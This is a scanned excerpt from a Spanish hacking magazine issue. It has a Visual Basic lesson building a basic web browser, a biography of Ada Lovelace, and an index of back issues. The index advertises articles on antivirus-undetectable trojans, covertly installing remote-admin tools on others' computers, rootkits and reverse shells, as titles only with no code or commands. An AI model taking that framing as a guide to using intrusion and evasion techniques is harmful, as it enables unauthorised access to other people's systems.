                                                                                    al ComboBox, al igual que en cualquier
            Ya que a nosotros solo nos interesa el                                  Explorer, obteniendo así un histórico que,
            intro, pondremos una sentencia condicional                              por ahora, será volátil, ya que al cerrar
            que pregunta por la tecla pulsada, y                                    el proyecto, se borrarán los datos.

Página 74                                                                                                                   PC PASO A PASO Nº 11
Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit




                                                                                web, no se añade, y si no existe, se añade,
  !                vbKeyReturn...                                               poniendo posteriormente la variable “Cargando”
                                                                                a False
  vbKeyReturn es una constante de Visual Basic que contiene
  el valor en ASCII de la tecla Intro, por eso la comparamos                    Os recomiendo que juguéis un poco con el
  con la tecla pulsada (KeyPress).                                              objeto Web Browser, y en especial con el sub-
                                                                                objeto Document del mismo, ya que con este
                                                                                podéis sacar información muy interesante de
                                                                                una página.
               Para acabar, pondremos las siguientes líneas
               en el evento                                                     Y el reto que os propongo, hasta el siguiente
                                                                                número, donde empezaremos nuestro exploit,
  NavigateComplete2:                                                            es el de sacar todos los links que contiene una
      Private Sub WB_NavigateComplete2(ByVal pDisp As Object, URL As Variant)   página web.
      Dim i As Integer
      Dim Existe As Boolean                                                     Os doy la pista de que será necesario investigar
                                                                                el WB.Document, y buscar información en el
      Me.Caption = WB.LocationName                                              tito Google, pero creo que va siendo hora de
     For i = 0 To CxDireccion.ListCount - 1
                                                                                que no os de todo mascado. Para ayudaros, os
          If CxDireccion.List(i) = WB.LocationURL Then
                                                                                diré una manera de observar las variables
               Existe = True
                                                                                mientras se está ejecutando un proyecto,
               Exit For
          End If
                                                                                sabiendo así su valor en un preciso instante.
     Next i                                                                     Para ello debéis poner un punto de interrupción
    Cargando = True                                                             en el código, pulsando F9 cuando el cursor esté
    If Existe = False Then                                                      posicionado sobre la línea donde queremos
          CxDireccion.AddItem WB.LocationURL, 0                                 parar.
          CxDireccion.ListIndex = 0
    End If
    Cargando = False                                                                !            Los puntos de...
  End Sub

                                                                                    Los puntos de interrupción, como bien dice su palabra,
               Si seguimos el código veremos que lo único                           paran la ejecución del código, deteniéndolo temporalmente
               que hacemos aquí es poner el título de la web                        en una línea anteriormente elegida.
               donde estamos en el Caption del formulario y,
               si no existe en la lista de webs del Combo, la
               añadiremos.
                                                                                Por ejemplo yo, he parado justo después de la
               La comprobación de la posible existencia de la                   carga de la página de inicio.
               web en la lista se hace con un bucle, que
               recorre el Combo Box, y en el caso de que                        Una vez detenida la ejecución, seleccionamos
               coincida el texto con la dirección actual,                       el nombre de nuestro Web Browser en cualquier
               ponemos la variable Booleana “Existe” a True                     parte del código, picando posteriormente sobre
               y salimos del bucle “For” (Exit For).                            el con el botón derecho, y eligiendo la opción
                                                                                “Agregar inspección” del “PopUp” menú, tal y
               Lo que sigue es obvio, si se ha encontrado la                    como vemos en la imagen. Inmediatamente
                                                                                después nos debería aparecer un pequeño

PC PASO A PASO Nº 11                                                                                                               Página 75
Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit




              menú con el objeto y el símbolo “+” a su                Private Sub Form_Resize()
              izquierda, el cual podemos desplegar y ver              Dim Ancho As Long
                                                                      Dim Alto As Long
              todos los valores de las propiedades del
                                                                        Alto = Me.Height - 2500
              WebBrowser en ese preciso instante.                       Ancho = Me.Width - 500
                                                                        WB.Width = Ancho
              Bueno, aquí llegamos al final, nos vemos en               WB.Height = Alto
                                                                        CxDireccion.Width = Ancho
              la próxima entrega, que seguro, la encontrareis         End Sub
              mucho más atractiva que esta ;)
                                                                      Private Sub TBBotones_ButtonClick(ByVal Button As MSComctlLib.Button)
              Código:
                                                                         Select Case Button.Key
                                                                           Case "Retroceder"
                                                                              WB.GoBack
                                                                           Case "Avanzar"
                                                                              WB.GoForward
                                                                           Case "Parar"
                                                                              WB.Stop
                                                                           Case "Refrescar"
                                                                              WB.Refresh
                                                                         End Select

                                                                      End Sub

                                                                      Private Sub WB_DownloadComplete()
                                                                        Me.Caption = WB.LocationName

                                                                      End Sub

                                                                      Private Sub WB_NavigateComplete2(ByVal pDisp As Object, URL As Variant)
                                                                         Dim i As Integer
                                                                         Dim Existe As Boolean

              Option Explicit                                           Me.Caption = WB.LocationName
              Dim URLInicial As String                                  For i = 0 To CxDireccion.ListCount - 1
              Dim Cargando As Boolean                                      If CxDireccion.List(i) = WB.LocationURL Then
                                                                              Existe = True
              Private Sub CxDireccion_Click()                                 Exit For
              If Cargando Then                                             End If
                 Exit Sub                                               Next i
              End If                                                    Cargando = True
              WB.Navigate CxDireccion.Text                              If Existe = False Then
              '                                                            CxDireccion.AddItem WB.LocationURL, 0
              End Sub                                                      CxDireccion.ListIndex = 0
                                                                        End If
              Private Sub CxDireccion_KeyPress(KeyAscii As Integer)     Cargando = False
                                                                      End Sub
                If KeyAscii = vbKeyReturn Then
                   CxDireccion_Click
                End If
              End Sub

              Private Sub Form_Load()                                       !                  Recuerda que...
                URLInicial = "http://www.hackxcrack.com"
                If Len(URLInicial) > 0 Then
                   CxDireccion.Text = URLInicial                            Recuerda que, si no tienes ganas de escribir, tienes el código
                   CxDireccion.AddItem URLInicial                           del programa en la sección de descargas de la web
                   WB.Navigate URLInicial                                   www.hackxcrack.com :)
                End If
              End Sub


Dedicado al servicio de transportes públicos RENFE, que siempre llegan puntuales y con sitio de sobra para sus fieles clientes.


  Página 76                                                                                                                 PC PASO A PASO Nº 11
August Ada Byron
                a
    Lady Lovelace (1815-1852)
     El Primer Programa.

               El papel de Ada Lovelace en el desarrollo histórico de las computadoras modernas parece
               haber sido casi totalmente ignorado hasta 1979, cuando el Departamento de Defensa de
               los Estados Unidos decidió utilizar su nombre para el nuevo lenguaje de programación que
               utilizarían como estándar para desarrollar su propio software interno. Desde entonces,
               nueva luz se ha vertido sobre la vida de esta matemática tan talentosa que fue una de
               las pocas personas que conoció y comprendió detalladamente el trabajo de Charles Babbage,
               además de haber escrito el primer programa para la inexistente Máquina Analítica.


               Introducción                                                   Byron se casó con Anna
                                                                              Isabella Milbanke, una joven
               Es tu rostro como el de mi madre, ¡mi hermosa niña!
                                                                              proveniente de una familia muy
               ¡Ada! ¿Única hija de mi casa y corazón?
                                                                              conservadora de buena
               Cuando vi por última vez tus azules ojos jóvenes, sonrieron,
                                                                              posición económica y que,
               y después partimos---no como ahora lo hacemos,
               sino con una esperanza.---
                                                                              obviamente, constituía la
                                                                              antítesis perfecta del
               Despertando con un nuevo comienzo,                             temperamental, apasionado y
               las aguas se elevan junto a mí; y en lo alto                   hasta un tanto loco poeta
               los vientos alzan sus voces: Me voy,                           inglés.
               ¿a dónde? No lo sé; pero la hora llegará
               cuando las playas, cada vez más lejanas de Albion,             Su falta de compatibilidad
                                                                              resultó evidente muy pronto       Anna Isabella Milbanke
               dejen de afligir o alegrar mis ojos.
                                                                              y sólo 5 semanas después del
                                  Así comienza el triste poema                nacimiento de Ada, ocurrido el
                                  del legendario George                       10 de diciembre de 1815, la
                                  Gordon Noel Byron (mejor                    pareja se separó. Poco después
                                  conocido como Lord Byron) en                los crecientes rumores sobre
                                  el que se despide para siempre              su romance con Augusta Leigh
                                  de su única hija legítima:                  y la posible paternidad (nunca
                                  Augusta Ada Byron. Lord                     demostrada) de Elizabeth
                                  Byron tuvo una vida muy                     Medora Leigh destruyeron su
                                  disipada, pero probablemente                reputación y aceptación social
                                  su aventura más osada fue                   en Inglaterra, forzándolo a
                                                                                                               George Gordon Noel Byron
                                  h a b e r s e e n a m o ra d o d e          vivir en Suiza, Italia y,
                                                                                                                      Lord Byron
                                  Augusta Leigh a los 25 años                 finalmente, Missolonghi,
                                  de edad, ya que ésta no sólo                Grecia, donde murió de causas
                                  estaba casada, sino que                     naturales en 1824, cuando contaba con apenas
Augusta Ada Byron - Lady Lovelace
                                  a d e m á s e ra s u m e d i a              36 años de edad. Muchas de sus cartas y de
          (1815-1852)
                                  hermana. En enero de 1815,                  sus poemas (como el extracto antes mostrado)

 PC PASO A PASO Nº 11                                                                                                         Página 77
Augusta Ada Byron - Lady Lovelace (1815-1852) - Augusta Ada Byron




            hacen alusión a la enorme tristeza que le          Siendo una aristócrata, la educación de Ada se
            embargó por no haber podido ver nunca más          llevó a cabo a través de tutores particulares,
            a su hija. Anna Milbanke, por su parte, intentó    algunos de los cuales fueron connotados
            ocultar toda traza de la maldad de su padre a      científicos y matemáticos de la época. Dos
            la pequeña Ada y decidió motivar en ella las       influencias muy notables en la
            matemáticas (una afición personal de Anna),        vida de Ada fueron Augustus
            y desalentar cualquier tipo de talento que le      De Morgan, que era un amigo
            recordara a su ex-esposo (como la poesía, por      d e l a fa m i l i a , y M a r y
            ejemplo), en su afán de hacerla lo más diferente   Sommerville, quien fue una
            posible a Lord Byron. A la luz de este objetivo    imagen muy admirada y
            no debiera sorprendernos que el nombre             venerada por Ada. Además de
            Augusta nunca fue utilizado en presencia de        estas 2 luminarias de la época,
            Anna, ni siquiera para referirse a la pequeña,     Ada conoció y entabló
            que a la sazón fue llamada simplemente Ada         correspondencia con otros
            por su madre y sus allegados. Irónicamente         personajes destacados de la
            Ada llegó a tener más similitudes con su padre     ciencia, como por ejemplo
            que las que Anna hubiera podido imaginar,          Michael Faraday, John
                                                                                                  Mary Fairfax Sommerville
            pues ambos tuvieron aficiones y aflicciones        Herschel, y Charles
            similares, vivieron períodos de esplendor y de     Wheatstone, lo que
            escándalo, además de la fatídica coincidencia      mostraba claramente lo amplio de sus intereses
            de haber muerto exactamente a la misma             científicos y sus elevadas cualidades
            edad.                                              intelectuales.

            Su juventud y vida personal                        Fue precisamente en una cena
                                                               ofrecida por Mary Sommerville
            Ada mostró un interés temprano por la              que Ada conoció a Charles
            geografía, que pronto sustituyó por las            Babbage, cuando ésta contaba
            matemáticas. Cuando Ada contaba con                con sólo 18 años de edad. Ahí
            alrededor de 14 años de edad, sufrió de una        Ada escuchó las ideas de
            parálisis severa--- posiblemente de origen         Babbage sobre su Máquina
            psicosomático. Al verse imposibilitada para        Analítica (Analytical Engine) y
            caminar durante casi 3 años, se dedicó con         se sintió inmediatamente
            intensidad a estudiar matemáticas, mientras        absorbida por la "universalidad
            que a la vez profundizaba sus conocimientos        de sus ideas". Por muchos años
            de lingüística y música (principalmente el         pocas personas además de
            manejo del arpa). Pese a la tutela de su madre,                                               Charles Babbage
                                                               ella y el mismo Babbage,
            Ada mantenía dentro de sí misma el interés         llegarían a sentirse interesados
            por la poesía, y esperaba ser una "analista y      en dicho proyecto. Babbage sintió curiosidad
            metafísica". Ada le escribió, con cierto dejo de   por el abierto interés de esta jovencita que,
            reproche a su madre: "si no puedes darme           además, tenía dotes intelectuales tan notables,
            poesía, ¿no puedes al menos darme ciencia          y decidió invitarla a su estudio para que conociera
            poética? Esta inquietud poética dejó huella        su creación (inconclusa) llamada Máquina
            profunda en su trabajo matemático, pues            Diferencial (Differencial Engine). Dos semanas
            siempre hizo acopio de enorme imaginación y        después, Ada llegó al lugar en cuestión
            solía describir los eventos con abundantes         acompañada de su madre, y la relación con
            metáforas.                                         Babbage dio inicio. Ada y Babbage

Página 78                                                                                             PC PASO A PASO Nº 11
Augusta Ada Byron - Lady Lovelace (1815-1852) - Augusta Ada Byron




          intercambiaron correspondencia regularmente       posiblemente la habría bosquejado en un
          a partir de este primer encuentro, y ambos        cuaderno de notas que ella llamaba de forma
          permanecerían como amigos y colaboradores         genérica el "Libro", el cual cambió de manos
          durante 18 años (hasta la trágica muerte de       entre Babbage y ella en incontables ocasiones,
          Ada).                                             pero que desgraciadamente permanece
                                                            extraviado desde hace mucho tiempo.
          Fue también a través de Mary Sommerville que
          Ada conoció a su futuro esposo, William Lord      Su correspondencia con Babbage ha sido objeto
          King, un noble 11 años mayor que ella, con        de controversia, pues Ada suele ser un tanto
          quien contraería nupcias a los 19 años de edad.   juguetona y hasta coqueta en su afán por
                                                            ganarse la confianza del genio inglés, si bien
          Tres años más tarde William King fue nombrado     nunca se demostró que hubiese habido alguna
          Conde de Lovelace, con lo que Ada adoptaría       relación más allá de la de trabajo.
          el título con el que la recuerdan la mayoría de
          sus biógrafos: Condesa de Lovelace. Se dice       Babbage reportó los avances de su trabajo en
          que la figura de su madre siguió dominando        un seminario en Turín, Italia, en el otoño de
          el matrimonio de Ada, y formó una especie de      1841. Un general italiano llamado Luigi F.
          alianza con William King para mantener a Ada      Manabrea (que posteriormente se convertiría
          ocupada en sus propias aficiones y lejos de las   en primer ministro de Italia) publicó un
          responsabilidades sociales y familiares que le    importante reporte sobre el trabajo de Babbage
          correspondían. La razón para este extraño         en 1842 usando su lengua natal. La aportación
          acuerdo era que su madre intentaba controlar      más importante de Ada fue precisamente la
          su temperamento mercurial tan                     traducción al inglés de este reporte, realizada
          indeseablemente similar al de su padre.           a instancias del propio Babbage. Se cuenta que
          Desgraciadamente, y pese a todo el apoyo que      cuando Babbage vio la traducción de Ada, le
          recibió de su esposo, la endeble salud de Ada     sugirió a ésta que añadiera sus propios
          nunca le permitió progresar en sus labores        comentarios, sintiendo que ella poseía un
          científicas tanto como ella hubiera querido.      conocimiento suficientemente detallado del
                                                            proyecto como para hacer sus propias
          La pareja se fue a vivir al campo, y tuvieron     aportaciones y Ada accedió a hacerlo. Durante
          2 hijos y una hija. Curiosamente fue su hija la   la etapa final de su trabajo tuvo varios problemas
          única de los 3 descendientes de la pareja en      con Babbage, pues éste solía ser un tanto
          seguir los pasos de su madre y su abuela, al      descuidado y perdía constantemente material,
          mostrar un profundo interés en las matemáticas    ante la azorada e impaciente Ada. Además, en
          y convertirse, años más tarde, en una famosa      ciertas ocasiones, cuando Babbage revisaba su
          experta en la lengua árabe.                       trabajo, solía malinterpretarlo, provocando la
                                                            ira de Ada. Cuando finalmente terminó su
          Sus Aportaciones
                                                            manuscrito, Ada sentía que había trabajado lo
          Se dice que debido a su constante enfermedad      suficiente como para merecer reconocimiento,
          Ada no pudo lograr avances significativos en      pero en aquella época no era aceptable que las
          las matemáticas, aunque no existe certeza al      mujeres escribieran artículos científicos (sobre
          respecto, pues lo único que se conserva de        todo si pertenecían a la nobleza). La solución
          ella, además de sus cartas, son sus cuadernos     fue firmar el reporte como "A. L. L." (Ada Lady
          de ejercicios en los que no aparece ningún        Lovelace). El reporte, publicado en 1843, acabó
          trabajo original de matemáticas. Si alguna vez    teniendo una longitud tres veces mayor al
          intentó realizar alguna aportación original,      original, y contiene muchas de las importantes


PC PASO A PASO Nº 11                                                                                             Página 79
Augusta Ada Byron - Lady Lovelace (1815-1852) - Augusta Ada Byron




            predicciones de Ada con respecto a la Máquina     digestivos y de respiración, su médico le aconsejó
            Analítica de Babbage. De suma importancia         el uso de varias combinaciones peligrosas de
            resulta, por ejemplo, su sugerencia de usar       brandy, vino, cerveza, opio y morfina, las cuales
            tarjetas de manera repetida con un propósito      le produjeron graves desajustes de personalidad,
            similar al que tienen las subrutinas de hoy en    incluyendo delirios y alucinaciones en los que
            día. Además, Ada predijo que una máquina de       su mente—evidentemente brillante—creía
            esta naturaleza sería capaz de componer           comprender todos los secretos del Universo,
            música, de producir gráficos, y que podría ser    haciendo de ella el profeta de Dios en la Tierra.
            usada tanto para aplicaciones prácticas como
            para las puramente científicas. Más importante    Después de algunos años, Ada se percató del
            aún, es su clara percepción de las limitaciones   daño que las drogas estaban causando en su
            del predecesor de las computadoras modernas:      estado físico y mental. Haciendo acopio de una
            "la Máquina Analítica no tiene pretensiones de    fé r r e a fu e r z a d e vo l u n t a d s e a l e j ó
            crear nada original. Puede simplemente hacer      paulatinamente de su consumo para ser presa
            lo que se le pida que se le ordene que haga.      de una nueva obsesión: las apuestas en carreras
            Puede realizar análisis, pero no tiene el poder   de caballos. Aparentemente, tanto Babbage
            de anticipar ninguna revelación analítica o       como Ada tenían ciertas teorías probabilísticas
            alguna verdad. Su objetivo es asistirnos en       sobre las carreras de caballos, y las apuestas
            hacer disponible aquello con lo que ya estamos    iniciales fueron parte de su intento por llevarlas
            familiarizados".                                  a la práctica. Dado que su status social le
                                                              impedía realizar apuestas directamente, un
            Su otra aportación significativa dentro de este   sirviente de Babbage fue el intermediario de
            reporte son los numerosos ejemplos que            Ada con los demás apostadores. Evidentemente
            proporcionó del uso de la Máquina Analítica.      sus teorías no fueron muy acertadas, pues Ada
            Por ejemplo, incluyó demostraciones de cómo       acabó hundida en un océano de deudas y pronto
            calcular funciones trigonométricas que            fue presa de chantajistas que amenazaron con
            contuvieran variables, y de cómo la máquina       el escándalo social. Su esposo y el mismo
            de Babbage resolvería problemas difíciles sin     Babbage salieron a su rescate, pero no pudieron
            error. El más destacado de sus ejemplos es un     evitar que Ada tuviese que empeñar las joyas
            detallado plan para calcular los números de       de la familia para pagar a sus acreedores. Esta
            Bernoulli que más tarde sería denominado el       situación produjo una serie de disputas familiares
            primer "programa de computadora", y su autora     entre Ada, su esposo y su madre, que
            pasaría a convertirse por ende en la "primera     eventualmente produjeron un aislamiento de
            programadora de la historia". En 1979, el         la Condesa de Lovelace.
            Departamento de Defensa de los Estados Unidos
            decidió utilizar su nombre, ADA, para denominar   Como si esto no fuera suficiente infortunio, Ada
            a un nuevo lenguaje de programación utilizado     sufría de un cáncer de útero que le producía
            como estándar para desarrollar su software        dolores inenarrables. Finalmente, este cáncer
            interno, en un merecido homenaje a su obra        acabó con su vida el 27 de noviembre de 1852,
            en el desarrollo de la computadora moderna.       menos de 2 semanas antes de que cumpliera
                                                              los 37 años de edad. A petición suya, sus restos
            Su Final Trágico                                  fueron enterrados al lado de los de su padre,
                                                              en la iglesia de Hucknall Torkard, en
            Después del nacimiento de su tercer hijo, Ada     Nottinghamshir, Inglaterra, en una reunión
            empezó a sufrir de una severa crisis física y     póstuma de dos personajes que fueron tan
            mental. Debido a sus frecuentes problemas         semejantes pese a haber vivido tan distantes.


Página 80                                                                                              PC PASO A PASO Nº 11
Augusta Ada Byron - Lady Lovelace (1815-1852) - Augusta Ada Byron




  !           Los integrantes...

 Los integrantes de esta publicación nos sentimos orgullosos
 de que la primera “mini-biografía” que hemos impreso sea
 la de Augusta Ada Byron, Lady Lovelace. Muchas personas
 piensan que “esto de la informática” es un terreno
 marcadamente masculino y desconocen las numerosas e
 importantísimas contribuciones que mujeres como ADA
 han aportado en este campo.
 Desde aquí, desde nuestra humilde publicación y con
 nuestros escasos medios hemos querido que ADA sea la
 primera protagonista de esta sección. Sin lugar a dudas se
 ganó, a pulso y en contra de todas las adversidades, el
 reconocimiento del mundo entero.




           ¿QUIERES COLABORAR CON PC PASO A PASO?
          PC PASO A PASO busca personas que posean conocimientos de informática y deseen
          publicar sus trabajos.

          SABEMOS que muchas personas (quizás tu eres una de ellas) han creado textos y
          cursos para “consumo propio” o “de unos pocos”.

          SABEMOS que muchas personas tienen inquietudes periodísticas pero nunca se han
          atrevido a presentar sus trabajos a una editorial.

          SABEMOS que hay verdaderas “obras de arte” creadas por personas como tu o yo y
          que nunca verán la luz.

          PC PASO A PASO desea contactar contigo!


   Necesitamos URGENTE un traductor ESPAÑOL-INGLES, más info en la WEB


          NOSOTROS PODEMOS PUBLICAR TU OBRA!!!
          S I D E S E A S M Á S I N F O R M A C I Ó N , e nv í a n o s u n m a i l a
          empleo@editotrans.com y te responderemos concretando nuestra oferta.

          También necesitamos urgentemente alguien que se ocupe de la
          publicidad y de la web de esta editorial, para más información
          envíanos un mail a empleo@editotrans.com

PC PASO A PASO Nº 11                                                                   Página 81
NÚMERO1:

                                              -CREA TU PRIMER TROYANO
                                              INDETECTABLE POR LOS ANTIVIRUS.
                                              -FLASHFXP: SIN LÍMITE DE VELOCIDAD.
                                              -FTP SIN SECRETOS: PASVMODE.
                                              -PORT MODE/PASV MODE Y LOS
                                               FIREWALL: LA UTILIDAD DE LO
                                               APRENDIDO.
                                              -TCP-IP:INICIACIÓN     (PARTE   1).
                                              -EL MEJOR GRUPO DE SERVIDORES FTP
                                              DE HABLA HISPANA.
                                              -EDONKEY 2000 Y SPANISHARE.
                                              -LA FLECHA ÁCIDA.




NÚMERO 2:

     -CODE/DECODE BUG: INTRODUCCIÓN.
     -CODE/DECODE BUG: LOCALIZACIÓN
     DEL OBJETIVO.
     -CODE/DECODE BUG: LÍNEA DE
     COMANDOS.
     -CODE/DECODE BUG: SUBIENDO
     ARCHIVOS AL SERVIDOR REMOTO.
     -OCULTACIÓN DE IP: PRIMEROS PASOS.
     -LA FLECHA ÁCIDA: LA SS DIGITAL.
     AZNAR AL FRENTE DE LA SS DEL SIGLO
     XXI.




                                           NÚMERO 3:

                                                -PROXY: OCULTANDO NUESTRA IP.
                                                        ASUMIENDO CONCEPTOS.
                                                -PROXY: OCULTANDO NUESTRA IP.
                                                        ENCADENANDO PROXIES.
                                                -PROXY: OCULTANDO NUESTRA IP.
                                                        OCULTANDO         TODOS
                                                         NUESTROS     PROGRAMAS
                                                          TRAS LAS CADENAS DE
                                                         PROXIES.
                                                -EL SERVIDOR DE HACKXCRACK
                                                CONFIGURACIÓN Y MODO DE EMPLEO.
                                                -SALA DE PRACTICAS: EXPLICACIÓN.
                                                -PRÁCTICA 1ª: SUBIENDO UN ARCHIVO
                                                A NUESTRO SERVIDOR.
                                                -PRÁCTICA 2ª: MONTANDO UN DUMP
                                                CON EL SERV-U.
                                                PRÁCTICA 3ª: CODE/DECODE BUG.
                                                LÍNEA DE COMANDOS.




NÚMERO 4:

      -CREA TU SEGUNDO TROYANO,
      INDETECTABLE E INMUNE A LOS
      ANTIVIRUS.
              CONOCIENDO EL RADMIN.
              GESTIONANDO UNA SALA
              DE ORDENADORES.
              OCULTANDO EL RADMIN.
              INSTALANDO EL RADMIN
              EN EQUIPOS REMOTOS.
      -OCULTACIÓN DE IP POR NOMBRE DE
              DOMINIO.
      -CREA LETRAS DE IMPACTO PARA TUS
      DOCUMENTOS (LETRAS DE FUEGO).
      - CONSIGUE UNA IP FIJA.
NÚMERO 5:

                                                       -HACK-OPINION: LA PIRATERÍA EN INTERNET.
                                                       -ROOTKITS: LA PESADILLA DE CUALQUIER
                                              ADMINISTRADOR.
                                                       -ROOTKITS: EL SR. NTROOT.
                                                       -WAREZ: APPZ, GAMEZ, MP3Z, DIVX,
                                              FTPZ, 0-DAY.
                                                       -APRENDIENDO A COMPILAR
                                              PROGRAMAS. COMPILA TU PROPIO
                                              NETCAT.
                                                       -BUGS, ERRORES Y OTRAS FORMA DE
                                              JOD...
                                                       -NETBIOS: ESTUDIO Y PENETRACIÓN DE
                                                        SISTEMAS.
                                                       -ASESINADOS POR LA LSSI.
                                                       -LISTADO DE ORDENES PARA NETBIOS.
                                                       -HACK-OPINION: PAGOS POR INTERNET
                                                     SEGUROS YÁ.




NÚMERO 6:

- PASA TUS PELICULAS A DIVX (STREAMING)
- PASA TUS PELICULAS A DIVX II (CODEC DIVX)
- PUERTOS & SERVICIOS
- eMule: EL NUEVO REY DEL P2P
- NUEVA SECCION: PROGRAMACION DESDE 0
- CURSO DE VISUAL BASIC
-IPHXC: EL TERCER TROYANO DE HXC
- TENDENCIAS ACTUALES EN CODIGO MALICIOSO
- OCULTACION DE FICHEROS. METODO STREAM
(ads)
- TRASTEANDO CON EL HARDWARE DE UNA LAN




                                               NÚMERO 7:

                                               - PROTOCOLOS: POP3
                                               - PASA TUS PELICULAS A DIVX III (EL AUDIO)
                                               - PASA TUS PELICULAS A DIVX IV (MULTIPLEXADO)
                                               - CURSO DE VISUAL BASIC: LA CALCULADORA
                                               -IPHXC: EL TERCER TROYANO DE HXC II
                                               - APACHE: UN SERVIDOR WEB EN NUESTRO PC
                                               - CCPROXY: IV TROYANO DE PC PASO A PASO
                                               - TRASTEANDO CON EL HARDWARE DE UNA LAN
NÚMERO 8:

     -   CURSO DE LINUX
     -   APACHE: COMPARTE ARCHIVOS
     -   REVERSE SHELL
     -   CURSO DE VISUAL BASIC: MAS CALCULADORA
     -   PROTOCOLOS Y SU SEGURIDAD: SMTP




                                                  NÚMERO 9:

                                                  - CURSO DE LINUX (Sistema de archivos)
                                                  - APACHE: COMPARTE ARCHIVOS MEDIANTE
                                                    WEB.
                                                  - CURSO DE VISUAL BASIC: MI 1ª DLL  ACCESO
                                                    A DATOS
                                                  - PORT SCANING: NMAP
                                                  - SERIE RAW: IRC




NÚMERO 10:

- CURSO DE LINUX (Gestión de usuários)
- APACHE + MySQL + PHP=Trio de Ases
- CURSO DE VISUAL BASIC: ACCESO    A DATOS(II)
- XML: El futuro de la trasferencia de datos
- SERIE RAW: DCC

Más contenido relacionado

PDF
Hxc19
PDF
Ramon Rodriguez: 'Quien va a cometer un fraude no acude al notario'
PDF
Hxc17
PDF
Ya era hora de que se hablara de prejubilaciones
PDF
Carlos gamero esparza la paz es posible, pero - reportaje publicado en viva...
PDF
Últimas Noticias: “Tendremos que acostumbrarnos a vivir con rumores”
PPT
Introducción a La Programación En C
PDF
2.1 Lenguaje de Programación C y su Entorno
Hxc19
Ramon Rodriguez: 'Quien va a cometer un fraude no acude al notario'
Hxc17
Ya era hora de que se hablara de prejubilaciones
Carlos gamero esparza la paz es posible, pero - reportaje publicado en viva...
Últimas Noticias: “Tendremos que acostumbrarnos a vivir con rumores”
Introducción a La Programación En C
2.1 Lenguaje de Programación C y su Entorno

Similar a Hxc11 (20)

PDF
Hxc10
PDF
Hxc1
PDF
Hxc1
PDF
Hxc12
PDF
Hxc14
PDF
Hxc16
PDF
Crea tu primer troyano.pbnvndfjghjghjghjghjghjg
PDF
Hxc13
PDF
01. crea tu primer troyano [indetectable por los antivirus]
PDF
Hxc18
PDF
Hxc2
PDF
Hxc22
PDF
Hxc21
PDF
Hxc15
PDF
Hxc23
PDF
Hxc8
PDF
Hxc9
Hxc10
Hxc1
Hxc1
Hxc12
Hxc14
Hxc16
Crea tu primer troyano.pbnvndfjghjghjghjghjghjg
Hxc13
01. crea tu primer troyano [indetectable por los antivirus]
Hxc18
Hxc2
Hxc22
Hxc21
Hxc15
Hxc23
Hxc8
Hxc9
Publicidad

Más de rubenroa (20)

PPTX
Estudios epidemiologicos
PPTX
Efectividad de la vacunacion Covid-19 en variante delta
PPTX
Causalidad
PPTX
Evaluacion de tecnologias sanitarias
PPT
Epidemiologia
PPT
Pediatrics 2008 jul 122(1) 143 8, figure-1
PPT
Introducción análisis farmacoepidemiológico sss&farma-taller15jun2011
PPTX
Maceira sss&farma-taller15jun2011
PPTX
Datos cohorte chilena sida (1)
PPT
Ferinject
PPTX
Kappos fingolimod moa-clin_results_vfinal_buenosaires1a
PPT
Uso Racional de Medicamentos
PPS
tabaquismo
PPT
Sesion ppt -2641_
PPT
Auditoria em
PPS
Indice tobillo brazo
PPS
indice tobillo brazo
PPTX
Epistemología y paradigmas
PPS
Vertigo acv
PPS
Apendicectomia
Estudios epidemiologicos
Efectividad de la vacunacion Covid-19 en variante delta
Causalidad
Evaluacion de tecnologias sanitarias
Epidemiologia
Pediatrics 2008 jul 122(1) 143 8, figure-1
Introducción análisis farmacoepidemiológico sss&farma-taller15jun2011
Maceira sss&farma-taller15jun2011
Datos cohorte chilena sida (1)
Ferinject
Kappos fingolimod moa-clin_results_vfinal_buenosaires1a
Uso Racional de Medicamentos
tabaquismo
Sesion ppt -2641_
Auditoria em
Indice tobillo brazo
indice tobillo brazo
Epistemología y paradigmas
Vertigo acv
Apendicectomia
Publicidad

Último (20)

PPTX
REDES INFORMATICAS REDES INFORMATICAS.pptx
PPTX
RAP01 - TECNICO SISTEMAS TELEINFORMATICOS.pptx
PPT
introduccion a las_web en el 2025_mejoras.ppt
PPTX
RAP02 - TECNICO SISTEMAS TELEINFORMATICOS.pptx
PPTX
Sesion 1 de microsoft power point - Clase 1
PDF
5.1 Pinch y Bijker en libro Actos, actores y artefactos de Bunch Thomas (coor...
PDF
Estrategia de apoyo tecnología grado 9-3
PPTX
Acronis Cyber Protect Cloud para Ciber Proteccion y Ciber Seguridad LATAM - A...
PDF
Plantilla para Diseño de Narrativas Transmedia.pdf
PPTX
COMO AYUDAN LAS TIC EN LA EDUCACION SUPERIOR.pptx
PPTX
Presentación PASANTIAS AuditorioOO..pptx
PPTX
IA de Cine - Como MuleSoft y los Agentes estan redefiniendo la realidad
PDF
clase auditoria informatica 2025.........
PDF
MANUAL TECNOLOGÍA SER MINISTERIO EDUCACIÓN
PDF
CyberOps Associate - Cisco Networking Academy
PPTX
historia_web de la creacion de un navegador_presentacion.pptx
PDF
MÓDULO DE CALOR DE GRADO DE MEDIO DE FORMACIÓN PROFESIONAL
PDF
Influencia-del-uso-de-redes-sociales.pdf
PDF
Diapositiva proyecto de vida, materia catedra
PDF
programa-de-estudios-2011-guc3ada-para-el-maestro-secundarias-tecnicas-tecnol...
REDES INFORMATICAS REDES INFORMATICAS.pptx
RAP01 - TECNICO SISTEMAS TELEINFORMATICOS.pptx
introduccion a las_web en el 2025_mejoras.ppt
RAP02 - TECNICO SISTEMAS TELEINFORMATICOS.pptx
Sesion 1 de microsoft power point - Clase 1
5.1 Pinch y Bijker en libro Actos, actores y artefactos de Bunch Thomas (coor...
Estrategia de apoyo tecnología grado 9-3
Acronis Cyber Protect Cloud para Ciber Proteccion y Ciber Seguridad LATAM - A...
Plantilla para Diseño de Narrativas Transmedia.pdf
COMO AYUDAN LAS TIC EN LA EDUCACION SUPERIOR.pptx
Presentación PASANTIAS AuditorioOO..pptx
IA de Cine - Como MuleSoft y los Agentes estan redefiniendo la realidad
clase auditoria informatica 2025.........
MANUAL TECNOLOGÍA SER MINISTERIO EDUCACIÓN
CyberOps Associate - Cisco Networking Academy
historia_web de la creacion de un navegador_presentacion.pptx
MÓDULO DE CALOR DE GRADO DE MEDIO DE FORMACIÓN PROFESIONAL
Influencia-del-uso-de-redes-sociales.pdf
Diapositiva proyecto de vida, materia catedra
